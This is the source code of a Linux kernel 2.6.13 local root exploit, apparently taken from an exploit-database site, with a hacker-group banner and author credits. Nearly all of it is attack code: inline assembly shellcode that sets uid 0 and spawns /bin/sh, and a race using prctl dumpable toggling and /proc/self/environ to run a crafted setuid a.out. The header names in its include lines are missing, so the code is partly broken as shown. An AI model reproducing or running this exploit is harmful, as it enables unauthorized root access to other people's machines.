Linux Kernel 2.6.13 Local root Exploit

/*
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0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
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0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
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0               I'm Angel Injection member from Inj3ct0r Team          1
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#####################################################
# Title: Linux Kernel 2.6.13 Local root Exploit     #
# Author: Angel Injection                           #
# Home: http://1337day.com                          #
# Thanks To: Inj3ct0r Team                          #
#####################################################
**
*/

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 


static struct exec ex;
static char *e[256];
static char *a[4];
static char b[512];
static char t[256];
static volatile int *c;


/*              shell code  */
__asm__ (" __excode: call 1f   \n"
  " 1:  mov $23, %eax  \n"
  "   xor %ebx, %ebx  \n"
  "   int $0x80   \n"
  "   pop %eax   \n"
  "   mov $cmd-1b, %ebx  \n"
  "   add %eax, %ebx  \n"
  "   mov $arg-1b, %ecx  \n"
  "   add %eax, %ecx  \n"
  "   mov %ebx, (%ecx)  \n"
  "   mov %ecx, %edx  \n"
  "   add $4, %edx  \n"
  "   mov $11, %eax  \n"
  "   int $0x80   \n"
  "   mov $1, %eax  \n"
  "   int $0x80   \n"
  " arg:  .quad 0x00, 0x00  \n"
  " cmd:  .string  \"/bin/sh\" \n"
  " __excode_e: nop    \n"
  " .global  __excode   \n"
  " .global  __excode_e   \n"
 );



extern void (*__excode) (void);
extern void (*__excode_e) (void);


void
error (char *err)
{
  perror (err);
  fflush (stderr);
  exit (1);
}


/* exploit this shit */
void
exploit (char *file)
{
  int i, fd;
  void *p;
  struct stat st;

  printf ("\ntrying to exploit %s\n\n", file);
  fflush (stdout);
  chmod ("/proc/self/environ", 04755);
  c = mmap (0, 4096, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, 0, 0);
  memset ((void *) c, 0, 4096);

  /*      slow down machine       */
  fd = open (file, O_RDONLY);
  fstat (fd, &st);
  p =
    (void *) mmap (0, st.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
  if (p == MAP_FAILED)
    error ("mmap");
  prctl (PR_SET_DUMPABLE, 0, 0, 0, 0);
  sprintf (t, "/proc/%d/environ", getpid ());
  sched_yield ();
  execve (NULL, a, e);
  madvise (0, 0, MADV_WILLNEED);
  i = fork ();

  /*      give it a try           */
  if (i)
    {      
      (*c)++;
      !madvise (p, st.st_size, MADV_WILLNEED) ? : error ("madvise");
      prctl (PR_SET_DUMPABLE, 1, 0, 0, 0);
      sched_yield (); 
    }
  else
    {
     nice(10);
     while (!(*c));
  sched_yield ();
      execve (t, a, e);
      error ("failed");
    }

  waitpid (i, NULL, 0);
  exit (0);
}


int
main (int ac, char **av)
{
  int i, j, k, s;
  char *p;

  memset (e, 0, sizeof (e));
  memset (a, 0, sizeof (a));
  a[0] = strdup (av[0]);
  a[1] = strdup (av[0]);
  a[2] = strdup (av[1]);

  if (ac < 2)
    error ("usage: binary ");
  if (ac > 2)
    exploit (av[2]);
  printf ("\npreparing");
  fflush (stdout);

  /*      make setuid a.out       */
  memset (&ex, 0, sizeof (ex));
  N_SET_MAGIC (ex, NMAGIC);
  N_SET_MACHTYPE (ex, M_386);
  s = ((unsigned) &__excode_e) - (unsigned) &__excode;
  ex.a_text = s;
  ex.a_syms = -(s + sizeof (ex));

  memset (b, 0, sizeof (b));
  memcpy (b, &ex, sizeof (ex));
  memcpy (b + sizeof (ex), &__excode, s);

  /*      make environment        */
  p = b;
  s += sizeof (ex);
  j = 0;
  for (i = k = 0; i < s; i++)
    {
      if (!p[i])
 {
   e[j++] = &p[k];
   k = i + 1;
 }
    }

  /*      reexec                  */
  getcwd (t, sizeof (t));
  strcat (t, "/");
  strcat (t, av[0]);
  execve (t, a, e);
  error ("execve");
  return 0;
}


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